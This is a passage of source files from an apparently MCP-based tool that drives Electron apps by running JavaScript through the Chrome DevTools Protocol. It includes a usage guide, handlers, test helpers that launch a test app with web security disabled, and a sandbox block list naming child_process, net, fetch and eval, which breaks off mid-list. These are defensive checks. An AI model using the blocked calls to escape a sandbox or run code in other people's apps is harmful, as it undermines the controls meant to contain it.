"placeholder": "Enter encyclopedia name", 52 | "value": "AI and Machine Learning" 53 | } 54 | } 55 | ``` 56 | 57 | #### Fill Input by CSS Selector 58 | 59 | ```json 60 | { 61 | "command": "fill_input", 62 | "args": { 63 | "selector": "#email", 64 | "value": "[email protected]" 65 | } 66 | } 67 | ``` 68 | 69 | ### Keyboard Shortcuts 70 | 71 | ```json 72 | { 73 | "command": "send_keyboard_shortcut", 74 | "args": { 75 | "text": "Ctrl+N" 76 | } 77 | } 78 | ``` 79 | 80 | ### Custom JavaScript 81 | 82 | ```json 83 | { 84 | "command": "eval", 85 | "args": { 86 | "code": "document.querySelectorAll('button').length" 87 | } 88 | } 89 | ``` 90 | 91 | ## 🚨 Common Mistakes and Fixes 92 | 93 | ### ❌ Mistake 1: Wrong Argument Structure 94 | 95 | ```json 96 | // WRONG - causes "selector is empty" error 97 | { 98 | "command": "click_by_selector", 99 | "args": "button.submit" 100 | } 101 | 102 | // CORRECT 103 | { 104 | "command": "click_by_selector", 105 | "args": { 106 | "selector": "button.submit" 107 | } 108 | } 109 | ``` 110 | 111 | ### ❌ Mistake 2: Using Complex Selectors Incorrectly 112 | 113 | ```json 114 | // WRONG - invalid CSS syntax 115 | { 116 | "command": "click_by_selector", 117 | "args": { 118 | "selector": "button:has-text('Create')" 119 | } 120 | } 121 | 122 | // CORRECT - use click_by_text instead 123 | { 124 | "command": "click_by_text", 125 | "args": { 126 | "text": "Create" 127 | } 128 | } 129 | ``` 130 | 131 | ### ❌ Mistake 3: Not Handling React/Dynamic Content 132 | 133 | ```json 134 | // BETTER - wait and retry pattern 135 | { 136 | "command": "get_page_structure" 137 | } 138 | // Check if elements loaded, then: 139 | { 140 | "command": "click_by_selector", 141 | "args": { 142 | "selector": "button[data-testid='submit']" 143 | } 144 | } 145 | ``` 146 | 147 | ## 🔄 Complete Workflow Examples 148 | 149 | ### Example 1: Creating a New Item in an App 150 | 151 | ```json 152 | // 1. Take a screenshot to see current state 153 | { 154 | "tool": "take_screenshot" 155 | } 156 | 157 | // 2. Understand the page structure 158 | { 159 | "tool": "send_command_to_electron", 160 | "args": { 161 | "command": "get_page_structure" 162 | } 163 | } 164 | 165 | // 3. Click the "Create" button 166 | { 167 | "tool": "send_command_to_electron", 168 | "args": { 169 | "command": "click_by_text", 170 | "args": { 171 | "text": "Create New" 172 | } 173 | } 174 | } 175 | 176 | // 4. Fill in the form 177 | { 178 | "tool": "send_command_to_electron", 179 | "args": { 180 | "command": "fill_input", 181 | "args": { 182 | "placeholder": "Enter name", 183 | "value": "My New Item" 184 | } 185 | } 186 | } 187 | 188 | // 5. Submit the form 189 | { 190 | "tool": "send_command_to_electron", 191 | "args": { 192 | "command": "click_by_selector", 193 | "args": { 194 | "selector": "button[type='submit']" 195 | } 196 | } 197 | } 198 | 199 | // 6. Verify success 200 | { 201 | "tool": "take_screenshot" 202 | } 203 | ``` 204 | 205 | ### Example 2: Debugging Element Issues 206 | 207 | ```json 208 | // 1. Get all button information 209 | { 210 | "tool": "send_command_to_electron", 211 | "args": { 212 | "command": "debug_elements" 213 | } 214 | } 215 | 216 | // 2. Check specific element properties 217 | { 218 | "tool": "send_command_to_electron", 219 | "args": { 220 | "command": "eval", 221 | "args": { 222 | "code": "Array.from(document.querySelectorAll('button')).map(btn => ({text: btn.textContent, classes: btn.className, visible: btn.offsetParent !== null}))" 223 | } 224 | } 225 | } 226 | 227 | // 3. Try alternative targeting method 228 | { 229 | "tool": "send_command_to_electron", 230 | "args": { 231 | "command": "click_by_text", 232 | "args": { 233 | "text": "Submit" 234 | } 235 | } 236 | } 237 | ``` 238 | 239 | ## 💡 Best Practices 240 | 241 | ### 1. Always Verify Element Existence 242 | 243 | ```json 244 | { 245 | "command": "eval", 246 | "args": { 247 | "code": "document.querySelector('button.submit') ? 'Element exists' : 'Element not found'" 248 | } 249 | } 250 | ``` 251 | 252 | ### 2. Use Text-Based Targeting When Possible 253 | 254 | Text-based targeting is more resilient to UI changes: 255 | 256 | ```json 257 | { 258 | "command": "click_by_text", 259 | "args": { 260 | "text": "Save" 261 | } 262 | } 263 | ``` 264 | 265 | ### 3. Fallback Strategies 266 | 267 | ```json 268 | // Try text first 269 | { 270 | "command": "click_by_text", 271 | "args": { 272 | "text": "Submit" 273 | } 274 | } 275 | 276 | // If that fails, try selector 277 | { 278 | "command": "click_by_selector", 279 | "args": { 280 | "selector": "button[type='submit']" 281 | } 282 | } 283 | ``` 284 | 285 | ### 4. Handle Dynamic Content 286 | 287 | ```json 288 | // Check if content is loaded 289 | { 290 | "command": "eval", 291 | "args": { 292 | "code": "document.querySelector('.loading') ? 'Still loading' : 'Ready'" 293 | } 294 | } 295 | ``` 296 | 297 | ## 🛠️ Security Considerations 298 | 299 | ### Safe JavaScript Execution 300 | 301 | ```json 302 | // SAFE - simple property access 303 | { 304 | "command": "eval", 305 | "args": { 306 | "code": "document.title" 307 | } 308 | } 309 | 310 | // AVOID - complex operations that might be blocked 311 | { 312 | "command": "eval", 313 | "args": { 314 | "code": "fetch('/api/data').then(r => r.json())" 315 | } 316 | } 317 | ``` 318 | 319 | ### Use Built-in Commands 320 | 321 | Prefer built-in commands over eval when possible: 322 | 323 | ```json 324 | // BETTER 325 | { 326 | "command": "get_title" 327 | } 328 | 329 | // INSTEAD OF 330 | { 331 | "command": "eval", 332 | "args": { 333 | "code": "document.title" 334 | } 335 | } 336 | ``` 337 | 338 | ## 📝 Tool Reference Summary 339 | 340 | | Tool | Purpose | Key Arguments | 341 | | -------------------------- | -------------- | ------------------------------------------- | 342 | | `get_electron_window_info` | Get app info | `includeChildren: boolean` | 343 | | `take_screenshot` | Capture screen | `windowTitle?: string, outputPath?: string` | 344 | | `send_command_to_electron` | UI interaction | `command: string, args: object` | 345 | | `read_electron_logs` | View logs | `logType?: string, lines?: number` | 346 | 347 | Remember: Always structure arguments as objects with the appropriate properties for each command! 348 | ``` -------------------------------------------------------------------------------- /src/handlers.ts: -------------------------------------------------------------------------------- ```typescript 1 | import { CallToolRequestSchema } from '@modelcontextprotocol/sdk/types'; 2 | import { z } from 'zod'; 3 | import { ToolName } from './tools'; 4 | import { 5 | SendCommandToElectronSchema, 6 | TakeScreenshotSchema, 7 | ReadElectronLogsSchema, 8 | GetElectronWindowInfoSchema, 9 | } from './schemas'; 10 | import { sendCommandToElectron } from './utils/electron-enhanced-commands'; 11 | import { getElectronWindowInfo } from './utils/electron-discovery'; 12 | import { readElectronLogs } from './utils/electron-logs'; 13 | import { takeScreenshot } from './screenshot'; 14 | import { logger } from './utils/logger'; 15 | import { securityManager } from './security/manager'; 16 | 17 | export async function handleToolCall(request: z.infer<typeof CallToolRequestSchema>) { 18 | const { name, arguments: args } = request.params; 19 | 20 | // Extract request metadata for security logging 21 | const sourceIP = (request as any).meta?.sourceIP; 22 | const userAgent = (request as any).meta?.userAgent; 23 | 24 | try { 25 | switch (name) { 26 | case ToolName.GET_ELECTRON_WINDOW_INFO: { 27 | // This is a low-risk read operation - basic validation only 28 | const { includeChildren } = GetElectronWindowInfoSchema.parse(args); 29 | 30 | const securityResult = await securityManager.executeSecurely({ 31 | command: 'get_window_info', 32 | args, 33 | sourceIP, 34 | userAgent, 35 | operationType: 'window_info', 36 | }); 37 | 38 | if (securityResult.blocked) { 39 | return { 40 | content: [ 41 | { 42 | type: 'text', 43 | text: `Operation blocked: ${securityResult.error}`, 44 | }, 45 | ], 46 | isError: true, 47 | }; 48 | } 49 | 50 | const result = await getElectronWindowInfo(includeChildren); 51 | return { 52 | content: [ 53 | { 54 | type: 'text', 55 | text: `Window Information:\n\n${JSON.stringify(result, null, 2)}`, 56 | }, 57 | ], 58 | isError: false, 59 | }; 60 | } 61 | 62 | case ToolName.TAKE_SCREENSHOT: { 63 | // Security check for screenshot operation 64 | const securityResult = await securityManager.executeSecurely({ 65 | command: 'take_screenshot', 66 | args, 67 | sourceIP, 68 | userAgent, 69 | operationType: 'screenshot', 70 | }); 71 | 72 | if (securityResult.blocked) { 73 | return { 74 | content: [ 75 | { 76 | type: 'text', 77 | text: `Screenshot blocked: ${securityResult.error}`, 78 | }, 79 | ], 80 | isError: true, 81 | }; 82 | } 83 | const { outputPath, windowTitle } = TakeScreenshotSchema.parse(args); 84 | const result = await takeScreenshot(outputPath, windowTitle); 85 | 86 | // Return the screenshot as base64 data for AI to evaluate 87 | const content: any[] = []; 88 | 89 | if (result.filePath) { 90 | content.push({ 91 | type: 'text', 92 | text: `Screenshot saved to: ${result.filePath}`, 93 | }); 94 | } else { 95 | content.push({ 96 | type: 'text', 97 | text: 'Screenshot captured in memory (no file saved)', 98 | }); 99 | } 100 | 101 | // Add the image data for AI evaluation 102 | content.push({ 103 | type: 'image', 104 | data: result.base64!, 105 | mimeType: 'image/png', 106 | }); 107 | 108 | return { content, isError: false }; 109 | } 110 | 111 | case ToolName.SEND_COMMAND_TO_ELECTRON: { 112 | const { command, args: commandArgs } = SendCommandToElectronSchema.parse(args); 113 | 114 | // Execute command through security manager 115 | const securityResult = await securityManager.executeSecurely({ 116 | command, 117 | args: commandArgs, 118 | sourceIP, 119 | userAgent, 120 | operationType: 'command', 121 | }); 122 | 123 | if (securityResult.blocked) { 124 | return { 125 | content: [ 126 | { 127 | type: 'text', 128 | text: `Command blocked: ${securityResult.error}\nRisk Level: ${securityResult.riskLevel}`, 129 | }, 130 | ], 131 | isError: true, 132 | }; 133 | } 134 | 135 | if (!securityResult.success) { 136 | return { 137 | content: [ 138 | { 139 | type: 'text', 140 | text: `Command failed: ${securityResult.error}`, 141 | }, 142 | ], 143 | isError: true, 144 | }; 145 | } 146 | 147 | // Execute the actual command if security checks pass 148 | const result = await sendCommandToElectron(command, commandArgs); 149 | return { 150 | content: [{ type: 'text', text: result }], 151 | isError: false, 152 | }; 153 | } 154 | 155 | case ToolName.READ_ELECTRON_LOGS: { 156 | const { logType, lines, follow } = ReadElectronLogsSchema.parse(args); 157 | const logs = await readElectronLogs(logType, lines); 158 | 159 | if (follow) { 160 | return { 161 | content: [ 162 | { 163 | type: 'text', 164 | text: `Following logs (${logType}). This is a snapshot of recent logs:\n\n${logs}`, 165 | }, 166 | ], 167 | isError: false, 168 | }; 169 | } 170 | 171 | return { 172 | content: [ 173 | { 174 | type: 'text', 175 | text: `Electron logs (${logType}):\n\n${logs}`, 176 | }, 177 | ], 178 | isError: false, 179 | }; 180 | } 181 | 182 | default: 183 | return { 184 | content: [ 185 | { 186 | type: 'text', 187 | text: `Unknown tool: ${name}`, 188 | }, 189 | ], 190 | isError: true, 191 | }; 192 | } 193 | } catch (error) { 194 | const errorMessage = error instanceof Error ? error.message : String(error); 195 | const errorStack = error instanceof Error ? error.stack : undefined; 196 | 197 | logger.error(`Tool execution failed: ${name}`, { 198 | error: errorMessage, 199 | stack: errorStack, 200 | args, 201 | }); 202 | 203 | return { 204 | content: [ 205 | { 206 | type: 'text', 207 | text: `Error executing ${name}: ${errorMessage}`, 208 | }, 209 | ], 210 | isError: true, 211 | }; 212 | } 213 | } 214 | ``` -------------------------------------------------------------------------------- /src/utils/electron-connection.ts: -------------------------------------------------------------------------------- ```typescript 1 | import WebSocket from 'ws'; 2 | import { scanForElectronApps, findMainTarget } from './electron-discovery'; 3 | import { logger } from './logger'; 4 | 5 | export interface DevToolsTarget { 6 | id: string; 7 | title: string; 8 | url: string; 9 | webSocketDebuggerUrl: string; 10 | type: string; 11 | } 12 | 13 | export interface CommandResult { 14 | success: boolean; 15 | result?: any; 16 | error?: string; 17 | message: string; 18 | } 19 | 20 | /** 21 | * Find and connect to a running Electron application 22 | */ 23 | export async function findElectronTarget(): Promise<DevToolsTarget> { 24 | logger.debug('Looking for running Electron applications...'); 25 | 26 | const foundApps = await scanForElectronApps(); 27 | 28 | if (foundApps.length === 0) { 29 | throw new Error( 30 | 'No running Electron application found with remote debugging enabled. Start your app with: electron . --remote-debugging-port=9222', 31 | ); 32 | } 33 | 34 | const app = foundApps[0]; 35 | const mainTarget = findMainTarget(app.targets); 36 | 37 | if (!mainTarget) { 38 | throw new Error('No suitable target found in Electron application'); 39 | } 40 | 41 | logger.debug(`Found Electron app on port ${app.port}: ${mainTarget.title}`); 42 | 43 | return { 44 | id: mainTarget.id, 45 | title: mainTarget.title, 46 | url: mainTarget.url, 47 | webSocketDebuggerUrl: mainTarget.webSocketDebuggerUrl, 48 | type: mainTarget.type, 49 | }; 50 | } 51 | 52 | /** 53 | * Execute JavaScript code in an Electron application via Chrome DevTools Protocol 54 | */ 55 | export async function executeInElectron( 56 | javascriptCode: string, 57 | target?: DevToolsTarget, 58 | ): Promise<string> { 59 | const targetInfo = target || (await findElectronTarget()); 60 | 61 | if (!targetInfo.webSocketDebuggerUrl) { 62 | throw new Error('No WebSocket debugger URL available'); 63 | } 64 | 65 | return new Promise((resolve, reject) => { 66 | const ws = new WebSocket(targetInfo.webSocketDebuggerUrl); 67 | const messageId = Math.floor(Math.random() * 1000000); 68 | 69 | const timeout = setTimeout(() => { 70 | ws.close(); 71 | reject(new Error('Command execution timeout (10s)')); 72 | }, 10000); 73 | 74 | ws.on('open', () => { 75 | logger.debug(`Connected to ${targetInfo.title} via WebSocket`); 76 | 77 | // Enable Runtime domain first 78 | ws.send( 79 | JSON.stringify({ 80 | id: 1, 81 | method: 'Runtime.enable', 82 | }), 83 | ); 84 | 85 | // Send Runtime.evaluate command 86 | const message = { 87 | id: messageId, 88 | method: 'Runtime.evaluate', 89 | params: { 90 | expression: javascriptCode, 91 | returnByValue: true, 92 | awaitPromise: false, 93 | }, 94 | }; 95 | 96 | logger.debug(`Executing JavaScript code...`); 97 | ws.send(JSON.stringify(message)); 98 | }); 99 | 100 | ws.on('message', (data) => { 101 | try { 102 | const response = JSON.parse(data.toString()); 103 | 104 | // Filter out noisy CDP events to reduce log spam 105 | const FILTERED_CDP_METHODS = [ 106 | 'Runtime.executionContextCreated', 107 | 'Runtime.consoleAPICalled', 108 | 'Console.messageAdded', 109 | 'Page.frameNavigated', 110 | 'Page.loadEventFired', 111 | ]; 112 | 113 | // Only log CDP events if debug level is enabled and they're not filtered 114 | if ( 115 | logger.isEnabled(3) && 116 | (!response.method || !FILTERED_CDP_METHODS.includes(response.method)) 117 | ) { 118 | logger.debug(`CDP Response for message ${messageId}:`, JSON.stringify(response, null, 2)); 119 | } 120 | 121 | if (response.id === messageId) { 122 | clearTimeout(timeout); 123 | ws.close(); 124 | 125 | if (response.error) { 126 | logger.error(`DevTools Protocol error:`, response.error); 127 | reject(new Error(`DevTools Protocol error: ${response.error.message}`)); 128 | } else if (response.result) { 129 | const result = response.result.result; 130 | logger.debug(`Execution result type: ${result?.type}, value:`, result?.value); 131 | 132 | if (result.type === 'string') { 133 | resolve(`✅ Command executed: ${result.value}`); 134 | } else if (result.type === 'number') { 135 | resolve(`✅ Result: ${result.value}`); 136 | } else if (result.type === 'boolean') { 137 | resolve(`✅ Result: ${result.value}`); 138 | } else if (result.type === 'undefined') { 139 | resolve(`✅ Command executed successfully`); 140 | } else if (result.type === 'object') { 141 | if (result.value === null) { 142 | resolve(`✅ Result: null`); 143 | } else if (result.value === undefined) { 144 | resolve(`✅ Result: undefined`); 145 | } else { 146 | try { 147 | resolve(`✅ Result: ${JSON.stringify(result.value, null, 2)}`); 148 | } catch { 149 | resolve( 150 | `✅ Result: [Object - could not serialize: ${ 151 | result.className || result.objectId || 'unknown' 152 | }]`, 153 | ); 154 | } 155 | } 156 | } else { 157 | resolve(`✅ Result type ${result.type}: ${result.description || 'no description'}`); 158 | } 159 | } else { 160 | logger.debug(`No result in response:`, response); 161 | resolve(`✅ Command sent successfully`); 162 | } 163 | } 164 | } catch (error) { 165 | // Only treat parsing errors as warnings, not errors 166 | logger.warn(`Failed to parse CDP response:`, error); 167 | } 168 | }); 169 | 170 | ws.on('error', (error) => { 171 | clearTimeout(timeout); 172 | reject(new Error(`WebSocket error: ${error.message}`)); 173 | }); 174 | }); 175 | } 176 | 177 | /** 178 | * Connect to Electron app for real-time log monitoring 179 | */ 180 | export async function connectForLogs( 181 | target?: DevToolsTarget, 182 | onLog?: (log: string) => void, 183 | ): Promise<WebSocket> { 184 | const targetInfo = target || (await findElectronTarget()); 185 | 186 | if (!targetInfo.webSocketDebuggerUrl) { 187 | throw new Error('No WebSocket debugger URL available for log connection'); 188 | } 189 | 190 | return new Promise((resolve, reject) => { 191 | const ws = new WebSocket(targetInfo.webSocketDebuggerUrl); 192 | 193 | ws.on('open', () => { 194 | logger.debug(`Connected for log monitoring to: ${targetInfo.title}`); 195 | 196 | // Enable Runtime and Console domains 197 | ws.send(JSON.stringify({ id: 1, method: 'Runtime.enable' })); 198 | ws.send(JSON.stringify({ id: 2, method: 'Console.enable' })); 199 | 200 | resolve(ws); 201 | }); 202 | 203 | ws.on('message', (data) => { 204 | try { 205 | const response = JSON.parse(data.toString()); 206 | 207 | if (response.method === 'Console.messageAdded') { 208 | const msg = response.params.message; 209 | const timestamp = new Date().toISOString(); 210 | const logEntry = `[${timestamp}] ${msg.level.toUpperCase()}: ${msg.text}`; 211 | onLog?.(logEntry); 212 | } else if (response.method === 'Runtime.consoleAPICalled') { 213 | const call = response.params; 214 | const timestamp = new Date().toISOString(); 215 | const args = call.args?.map((arg: any) => arg.value || arg.description).join(' ') || ''; 216 | const logEntry = `[${timestamp}] ${call.type.toUpperCase()}: ${args}`; 217 | onLog?.(logEntry); 218 | } 219 | } catch (error) { 220 | logger.warn(`Failed to parse log message:`, error); 221 | } 222 | }); 223 | 224 | ws.on('error', (error) => { 225 | reject(new Error(`WebSocket error: ${error.message}`)); 226 | }); 227 | }); 228 | } 229 | ``` -------------------------------------------------------------------------------- /tests/support/helpers.ts: -------------------------------------------------------------------------------- ```typescript 1 | import { rmSync, existsSync, readdirSync, statSync, writeFileSync, mkdirSync } from 'fs'; 2 | import { join, basename } from 'path'; 3 | import { logger } from '../../src/utils/logger'; 4 | import { TEST_CONFIG, createElectronAppPath } from './config'; 5 | import { spawn, ChildProcess } from 'child_process'; 6 | import { createServer } from 'net'; 7 | 8 | export interface TestElectronApp { 9 | port: number; 10 | process: ChildProcess; 11 | appPath: string; 12 | cleanup: () => Promise<void>; 13 | } 14 | 15 | export interface CleanupOptions { 16 | removeLogsDir?: boolean; 17 | removeTempDir?: boolean; 18 | preserveKeys?: boolean; 19 | } 20 | 21 | /** 22 | * Consolidated test helpers and utilities 23 | */ 24 | export class TestHelpers { 25 | /** 26 | * Create and start a test Electron application 27 | */ 28 | static async createTestElectronApp(): Promise<TestElectronApp> { 29 | const port = await this.findAvailablePort(); 30 | const appPath = createElectronAppPath(port); 31 | 32 | // Create app directory and files 33 | mkdirSync(appPath, { recursive: true }); 34 | 35 | // Create package.json 36 | const packageJson = { 37 | name: 'test-electron-app', 38 | version: '1.0.0', 39 | main: 'main.js', 40 | scripts: { 41 | start: 'electron .', 42 | }, 43 | }; 44 | writeFileSync(join(appPath, 'package.json'), JSON.stringify(packageJson, null, 2)); 45 | 46 | // Create main.js 47 | const mainJs = ` 48 | const { app, BrowserWindow } = require('electron'); 49 | const path = require('path'); 50 | 51 | let mainWindow; 52 | 53 | app.commandLine.appendSwitch('remote-debugging-port', '${port}'); 54 | app.commandLine.appendSwitch('no-sandbox'); 55 | app.commandLine.appendSwitch('disable-web-security'); 56 | 57 | function createWindow() { 58 | mainWindow = new BrowserWindow({ 59 | width: 800, 60 | height: 600, 61 | show: false, // Keep hidden for testing 62 | webPreferences: { 63 | nodeIntegration: true, 64 | contextIsolation: false 65 | } 66 | }); 67 | 68 | mainWindow.setTitle('${TEST_CONFIG.ELECTRON.WINDOW_TITLE}'); 69 | mainWindow.loadFile('index.html'); 70 | 71 | mainWindow.webContents.once('did-finish-load', () => { 72 | console.log('[TEST-APP] Window ready, staying hidden for testing'); 73 | }); 74 | } 75 | 76 | app.whenReady().then(() => { 77 | createWindow(); 78 | console.log('[TEST-APP] Electron app ready with remote debugging on port ${port}'); 79 | }); 80 | 81 | app.on('window-all-closed', () => { 82 | if (process.platform !== 'darwin') { 83 | app.quit(); 84 | } 85 | }); 86 | `; 87 | writeFileSync(join(appPath, 'main.js'), mainJs); 88 | 89 | // Create index.html 90 | writeFileSync(join(appPath, 'index.html'), TEST_CONFIG.ELECTRON.HTML_CONTENT); 91 | 92 | // Start the Electron process 93 | const electronProcess = spawn('npx', ['electron', '.'], { 94 | cwd: appPath, 95 | stdio: ['pipe', 'pipe', 'pipe'], 96 | }); 97 | 98 | const app: TestElectronApp = { 99 | port, 100 | process: electronProcess, 101 | appPath, 102 | cleanup: async () => { 103 | electronProcess.kill(); 104 | if (existsSync(appPath)) { 105 | rmSync(appPath, { recursive: true, force: true }); 106 | } 107 | }, 108 | }; 109 | 110 | // Wait for app to be ready 111 | await this.waitForElectronApp(app); 112 | 113 | return app; 114 | } 115 | 116 | /** 117 | * Wait for Electron app to be ready for testing 118 | */ 119 | static async waitForElectronApp( 120 | app: TestElectronApp, 121 | timeout = TEST_CONFIG.TIMEOUTS.ELECTRON_START, 122 | ): Promise<void> { 123 | return new Promise((resolve, reject) => { 124 | const startTime = Date.now(); 125 | 126 | const checkReady = async () => { 127 | try { 128 | const response = await fetch(`http://localhost:${app.port}/json`); 129 | if (response.ok) { 130 | logger.info(`✅ Test Electron app ready for integration and security testing`); 131 | resolve(); 132 | return; 133 | } 134 | } catch { 135 | // App not ready yet 136 | } 137 | 138 | if (Date.now() - startTime > timeout) { 139 | reject(new Error(`Electron app failed to start within ${timeout}ms`)); 140 | return; 141 | } 142 | 143 | setTimeout(checkReady, 100); 144 | }; 145 | 146 | checkReady(); 147 | }); 148 | } 149 | 150 | /** 151 | * Find an available port in the configured range 152 | */ 153 | private static async findAvailablePort(): Promise<number> { 154 | const [start, end] = TEST_CONFIG.ELECTRON.DEFAULT_PORT_RANGE; 155 | 156 | for (let port = start; port <= end; port++) { 157 | if (await this.isPortAvailable(port)) { 158 | return port; 159 | } 160 | } 161 | 162 | throw new Error(`No available ports in range ${start}-${end}`); 163 | } 164 | 165 | /** 166 | * Check if a port is available 167 | */ 168 | private static async isPortAvailable(port: number): Promise<boolean> { 169 | return new Promise((resolve) => { 170 | const server = createServer(); 171 | 172 | server.listen(port, () => { 173 | server.close(() => resolve(true)); 174 | }); 175 | 176 | server.on('error', () => resolve(false)); 177 | }); 178 | } 179 | 180 | /** 181 | * Clean up test artifacts and temporary files 182 | */ 183 | static async cleanup(options: CleanupOptions = {}): Promise<void> { 184 | const { removeLogsDir = true, removeTempDir = true, preserveKeys = false } = options; 185 | 186 | try { 187 | // Clean up logs directory 188 | if (removeLogsDir && existsSync(basename(TEST_CONFIG.PATHS.LOGS_DIR))) { 189 | if (preserveKeys) { 190 | this.cleanupLogsPreservingKeys(); 191 | } else { 192 | rmSync(basename(TEST_CONFIG.PATHS.LOGS_DIR), { recursive: true, force: true }); 193 | logger.info(`🧹 Cleaned up logs directory`); 194 | } 195 | } 196 | 197 | // Clean up temp directories 198 | if (removeTempDir) { 199 | [basename(TEST_CONFIG.PATHS.TEMP_DIR), basename(TEST_CONFIG.PATHS.TEST_TEMP_DIR)].forEach( 200 | (dir) => { 201 | if (existsSync(dir)) { 202 | rmSync(dir, { recursive: true, force: true }); 203 | logger.info(`🧹 Cleaned up ${dir} directory`); 204 | } 205 | }, 206 | ); 207 | } 208 | } catch (error) { 209 | logger.error('Failed to cleanup test artifacts:', error); 210 | } 211 | } 212 | 213 | /** 214 | * Clean up only log files while preserving encryption keys 215 | */ 216 | private static cleanupLogsPreservingKeys(): void { 217 | try { 218 | const securityDir = join(basename(TEST_CONFIG.PATHS.LOGS_DIR), 'security'); 219 | if (existsSync(securityDir)) { 220 | const files = readdirSync(securityDir); 221 | 222 | files.forEach((file: string) => { 223 | if (file.endsWith('.log')) { 224 | const filePath = join(securityDir, file); 225 | rmSync(filePath, { force: true }); 226 | logger.info(`🧹 Cleaned up log file: ${filePath}`); 227 | } 228 | }); 229 | } 230 | } catch (error) { 231 | logger.error('Failed to cleanup log files:', error); 232 | } 233 | } 234 | 235 | /** 236 | * Get size of artifacts that would be cleaned up 237 | */ 238 | static getCleanupSize(): { logs: number; temp: number; total: number } { 239 | let logsSize = 0; 240 | let tempSize = 0; 241 | 242 | try { 243 | const logsDir = basename(TEST_CONFIG.PATHS.LOGS_DIR); 244 | if (existsSync(logsDir)) { 245 | logsSize = this.getDirectorySize(logsDir); 246 | } 247 | 248 | [basename(TEST_CONFIG.PATHS.TEMP_DIR), basename(TEST_CONFIG.PATHS.TEST_TEMP_DIR)].forEach( 249 | (dir) => { 250 | if (existsSync(dir)) { 251 | tempSize += this.getDirectorySize(dir); 252 | } 253 | }, 254 | ); 255 | } catch (error) { 256 | logger.error('Failed to calculate cleanup size:', error); 257 | } 258 | 259 | return { 260 | logs: logsSize, 261 | temp: tempSize, 262 | total: logsSize + tempSize, 263 | }; 264 | } 265 | 266 | /** 267 | * Calculate directory size in bytes 268 | */ 269 | private static getDirectorySize(dirPath: string): number { 270 | let totalSize = 0; 271 | 272 | try { 273 | const items = readdirSync(dirPath); 274 | 275 | for (const item of items) { 276 | const itemPath = join(dirPath, item); 277 | const stats = statSync(itemPath); 278 | 279 | if (stats.isDirectory()) { 280 | totalSize += this.getDirectorySize(itemPath); 281 | } else { 282 | totalSize += stats.size; 283 | } 284 | } 285 | } catch (_error) { 286 | // Directory might not exist or be accessible 287 | } 288 | 289 | return totalSize; 290 | } 291 | 292 | /** 293 | * Create a proper MCP request format for testing 294 | */ 295 | static createMCPRequest(toolName: string, args: any = {}) { 296 | return { 297 | method: 'tools/call' as const, 298 | params: { 299 | name: toolName, 300 | arguments: args, 301 | }, 302 | }; 303 | } 304 | } 305 | ``` -------------------------------------------------------------------------------- /src/security/sandbox.ts: -------------------------------------------------------------------------------- ```typescript 1 | import { spawn } from 'child_process'; 2 | import { promises as fs } from 'fs'; 3 | import { join } from 'path'; 4 | import { randomUUID } from 'crypto'; 5 | import { logger } from '../utils/logger'; 6 | 7 | export interface SandboxOptions { 8 | timeout?: number; 9 | maxMemory?: number; 10 | allowedModules?: string[]; 11 | blacklistedFunctions?: string[]; 12 | } 13 | 14 | export interface SandboxResult { 15 | success: boolean; 16 | result?: any; 17 | error?: string; 18 | executionTime: number; 19 | memoryUsed?: number; 20 | } 21 | 22 | const DEFAULT_BLACKLISTED_FUNCTIONS = [ 23 | 'eval', 24 | 'Function', 25 | 'setTimeout', 26 | 'setInterval', 27 | 'setImmediate', 28 | 'require', 29 | 'import', 30 | 'process', 31 | 'global', 32 | 'globalThis', 33 | '__dirname', 34 | '__filename', 35 | 'Buffer', 36 | 'XMLHttpRequest', 37 | 'fetch', 38 | 'WebSocket', 39 | 'Worker', 40 | 'SharedWorker', 41 | 'ServiceWorker', 42 | 'importScripts', 43 | 'postMessage', 44 | 'close', 45 | 'open', 46 | ]; 47 | 48 | const DEFAULT_BLACKLISTED_OBJECTS = [ 49 | 'fs', 50 | 'child_process', 51 | 'cluster', 52 | 'crypto', 53 | 'dgram', 54 | 'dns', 55 | 'http', 56 | 'https', 57 | 'net', 58 | 'os', 59 | 'path', 60 | 'stream', 61 | 'tls', 62 | 'url', 63 | 'util', 64 | 'v8', 65 | 'vm', 66 | 'worker_threads', 67 | 'zlib', 68 | 'perf_hooks', 69 | 'inspector', 70 | 'repl', 71 | 'readline', 72 | 'domain', 73 | 'events', 74 | 'querystring', 75 | 'punycode', 76 | 'constants', 77 | ]; 78 | 79 | export class CodeSandbox { 80 | private options: Required<SandboxOptions>; 81 | 82 | constructor(options: SandboxOptions = {}) { 83 | this.options = { 84 | timeout: options.timeout || 5000, 85 | maxMemory: options.maxMemory || 50 * 1024 * 1024, // 50MB 86 | allowedModules: options.allowedModules || [], 87 | blacklistedFunctions: [ 88 | ...DEFAULT_BLACKLISTED_FUNCTIONS, 89 | ...(options.blacklistedFunctions || []), 90 | ], 91 | }; 92 | } 93 | 94 | async executeCode(code: string): Promise<SandboxResult> { 95 | const startTime = Date.now(); 96 | const sessionId = randomUUID(); 97 | 98 | logger.info(`Starting sandboxed execution [${sessionId}]`); 99 | 100 | try { 101 | // Validate code before execution 102 | const validation = this.validateCode(code); 103 | if (!validation.isValid) { 104 | return { 105 | success: false, 106 | error: `Code validation failed: ${validation.errors.join(', ')}`, 107 | executionTime: Date.now() - startTime, 108 | }; 109 | } 110 | 111 | // Create isolated execution environment 112 | const result = await this.executeInIsolation(code, sessionId); 113 | 114 | const executionTime = Date.now() - startTime; 115 | logger.info(`Sandboxed execution completed [${sessionId}] in ${executionTime}ms`); 116 | 117 | return { 118 | success: true, 119 | result: result, 120 | executionTime, 121 | }; 122 | } catch (error) { 123 | const executionTime = Date.now() - startTime; 124 | logger.error(`Sandboxed execution failed [${sessionId}]:`, error); 125 | 126 | return { 127 | success: false, 128 | error: error instanceof Error ? error.message : String(error), 129 | executionTime, 130 | }; 131 | } 132 | } 133 | 134 | private validateCode(code: string): { isValid: boolean; errors: string[] } { 135 | const errors: string[] = []; 136 | 137 | // Check for blacklisted functions 138 | for (const func of this.options.blacklistedFunctions) { 139 | const regex = new RegExp(`\\b${func}\\s*\\(`, 'g'); 140 | if (regex.test(code)) { 141 | errors.push(`Forbidden function: ${func}`); 142 | } 143 | } 144 | 145 | // Check for blacklisted objects 146 | for (const obj of DEFAULT_BLACKLISTED_OBJECTS) { 147 | const regex = new RegExp(`\\b${obj}\\b`, 'g'); 148 | if (regex.test(code)) { 149 | errors.push(`Forbidden module/object: ${obj}`); 150 | } 151 | } 152 | 153 | // Check for dangerous patterns 154 | const dangerousPatterns = [ 155 | /require\s*\(/g, 156 | /import\s+.*\s+from/g, 157 | /\.constructor/g, 158 | /\.__proto__/g, 159 | /prototype\./g, 160 | 